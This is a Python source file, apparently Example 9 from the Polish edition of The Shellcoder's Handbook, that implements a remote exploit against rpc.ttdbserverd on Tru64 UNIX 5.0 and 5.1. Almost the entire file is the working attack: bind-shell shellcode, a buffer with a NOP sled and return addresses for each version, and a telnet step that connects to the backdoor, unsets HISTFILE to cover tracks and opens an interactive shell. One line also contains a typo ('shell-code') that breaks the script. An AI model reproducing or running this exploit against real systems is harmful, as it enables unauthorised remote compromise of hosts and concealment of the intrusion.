/*

The Shellcoder's Handbook. Edycja polska
Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, 
Sinan Eren, Neel Mehta, Riley Hassell
Wydawnictwo Helion


Rozdzia 12
Zaawansowane metody wama w systemie Solaris
Przykad 9

Komentarze i uwagi prosz przesya na adres jack@infosecinstitute.com 
lub za porednictwem witryny http://www.infosecinstitute.com 

*/

# noir@olympos.org
# Tru64 5.0  5.1 rpc.ttdbserverd remote exploit
import socket
import os
import xdr
import rpc
from rpc import Packer, Unpacker, TCPClient
import sys
import struct
import telnetlib

class TTDBException(Exception):
    
    def __init__(self, args=None):
        self.args = args
        
    def __str__(self):
        return `self.args`

class TTDB_Packer(Packer):

    def pack_ttdb_create_req(self, buf):
        #file
        self.pack_string(buf)

        self.pack_uint(0)
        #string
        #self.pack_string('')
        #array
        #self.pack_uint(0)
        #self.pack_string("\x01")
        
        self.pack_uint(0)
        self.pack_uint(1)
        self.pack_uint(777)


class TTDB_Client(TCPClient):

    def __init__(self, target):
        self.ttdb_d = { "PROGNUM": 100083, "VERSNUM": 1, "ISCREATE": 103 }
        
        TCPClient.__init__(self, target, self.ttdb_d["PROGNUM"],\
     self.ttdb_d["VERSNUM"])

    def addpackers(self):
        self.packer = TTDB_Packer()

    def mkcred(self):
        import random
        self.cred = rpc.AUTH_UNIX, rpc.make_auth_unix(random.randint(1,99999),\
                                                      "localhost", 0, 0, [])
        return self.cred
    
    def iscreate(self, buf):
        return self.make_call(self.ttdb_d["ISCREATE"], buf,\
                              self.packer.pack_ttdb_create_req,\
                              None)
    
class TTDBExploit(TTDB_Client):
    
    def __init__(self, target="", buf="", timeout = 5):
        self.tm = timeout
        self.target = target
        self.buf = buf
        
    def set_target(self, ip):
        try:
            self.target = socket.gethostbyname(ip)
        except socket.gaierror, err:
            raise TTDBException, "TTDBExploit, Host: " + ip + " " + err[1]

    def get_target(self):
        return self.target
    
    def set_buf(self, buf):
        self.buf = buf

    def get_buf(self):
        return self.buf

    def set_timeout(self, tm):
        self.tm = tm

    def get_timeout(self):
        return self.tm

    def setup(self):
        try:
            TTDB_Client.__init__(self, self.target)
        except (socket.error, RuntimeError), self.err:
            raise TTDBException, str(self.err)
        
    def run(self):
        try:
            self.iscreate(self.buf)
        except:
            pass
         
if __name__ == "__main__":

    usage = """\nUsage: ttdb_exp.py targethost bdport version [offset]
bdport: port number for bind a shell
version: 0 => Tru64 UNIX V5.0A
version: 1 => Tru64 UNIX V5.1

./ttdb_exp 172.16.1.23 6666 0
"""
    shellcode =\
    "\x18\xfc\x1e\x22"+\
    "\x12\x14\x06\x42"+\
    "\x11\xd4\xf0\x47"+\
    "\xfc\xff\x30\xb2"+\
    "\xfc\xff\x32\xb2"+\
    "\xfb\xff\x1f\xd2"+\
    "\x15\x14\x1f\x42"+\
    "\x14\x94\x06\x42"+\
    "\x13\x94\xf8\x43"+\
    "\xfc\xff\x35\xa2"+\
    "\x10\x14\x06\x42"+\
    "\xfc\xff\x54\xa2"+\
    "\x33\x95\x60\x42"+\
    "\x12\x08\x51\x46"+\
    "\xfc\xff\x54\xb2"+\
    "\x14\x94\x80\x42"+\
    "\xfa\xff\x7f\xf6"+\
    "\x41\x41\x41\x41"+\
    "\x96\x79\x49\xcf"+\
    "\x82\x1c\x9b\xca"+\
    "\x83\x1c\x9d\xca"+\
    "\x80\x88\x76\x3f"+\
    "\x85\x9c\x9f\xca"+\
    "\x88\x88\x36\x3d"+\
    "\x88\xbc\x64\xcb"+\
    "\x98\xdc\x68\xcb"+\
    "\x99\xbc\x68\xcb"+\
    "\x9a\x8c\x77\xcf"+\
    "\x0b\x88\x88\x88"+\
    "\x81\x8c\x88\xcc"+\
    "\x98\x8c\xa1\xcd"+\
    "\x99\x8c\xc2\xcd"+\
    "\x88\x9c\x65\xcb"+\
    "\x9a\x9c\x6a\xcb"+\
    "\x0b\x88\x88\x88"+\
    "\x98\x8c\xa1\xcd"+\
    "\x9a\x3c\x68\xcb"+\
    "\x88\xdc\x65\xcb"+\
    "\x0b\x88\x88\x88"+\
    "\x99\x8c\x77\xcf"+\
    "\x98\x8c\xa1\xcd"+\
    "\x9a\x8c\xe3\xcd"+\
    "\x88\xfc\x64\xcb"+\
    "\x0b\x88\x88\x88"+\
    "\x84\x8c\x88\xcc"+\
    "\x83\xdc\x68\xcb"+\
    "\x98\x8c\x04\xcd"+\
    "\x99\x8c\xe3\xcd"+\
    "\x88\xdc\x63\xcb"+\
    "\x0b\x88\x88\x88"+\
    "\xa3\xbd\xe8\xc9"+\
    "\x72\x77\xf7\x71"+\
    "\x98\x8c\x25\xcd"+\
    "\x99\x8c\x56\xcf"+\
    "\x88\xfc\x6f\xcb"+\
    "\x9a\x8c\x77\xcf"+\
    "\x0b\x88\x88\x88"+\
    "\x8a\x88\x97\x18"+\
    "\x88\x88\x88\x88"+\
    "\x88\x88\x88\x88"+\
    "\x88\x88\x88\x88"+\
    "\x98\x88\x88\x88"+\
    "\x88\x88\x88\x88"+\
    "\x88\x88\x88\x88"+\
    "\xa7\xa7\xea\xe1"+\
    "\xe6\xa7\xfb\xe0"+\
    "\x88\x88\x88\x88"+\
    "\x88\x88\x88\x88"

    if len(sys.argv) < 4:
        print usage
        sys.exit(0)
        
    offset = 0
    if len(sys.argv) == 5:
        offset += int(sys.argv[4], 10)
        
    version = int(sys.argv[3],10)    
    if version != 0 and version != 1:
        print usage
        sys.exit(-1)
    
    port = int(sys.argv[2], 10)     #bind shell port
    
    port = port ^ 0x8888
    shellcode = shellcode[:230] + struct.pack(">h", port) + shell-code[232:]
    
    
    if not version:
        retaddr = struct.pack("<Lb", 0x400355a8+offset, 0x01) #5.0A
        #retaddr = struct.pack("<Lb", 0xdeadcaf0, 0xde) #test value
    else:
        retaddr = struct.pack("<Lb", 0x40037580+offset, 0x01) #5.1
        #retaddr = struct.pack("<Lb", 0xdeadcaf0, 0xde) #test value
    
    expbuf = "\x1f\x04\xff\x47" * ((1024-len(shellcode)) / 4) +\
             shellcode + "123456" + retaddr
           
    ttdb = TTDBExploit(sys.argv[1], expbuf)
    
    print "attacking "+ttdb.get_target()+" ..."
    print "after 4-5 seconds hit ctrl+C, since rpc.py did not"+\
          " implemented timeouts yet. lame i know!"
    
    ttdb.setup()
    ttdb.run()
    
    try:
        print "trying backdoor ..."
        t = telnetlib.Telnet(sys.argv[1], int(sys.argv[2], 10))
        t.write("unset HISTFILE;uname -a;\n")
        print "\n"
        t.interact()
        t.close()
    except socket.error:
        print "not successful!, try again"
        
    sys.exit(1)
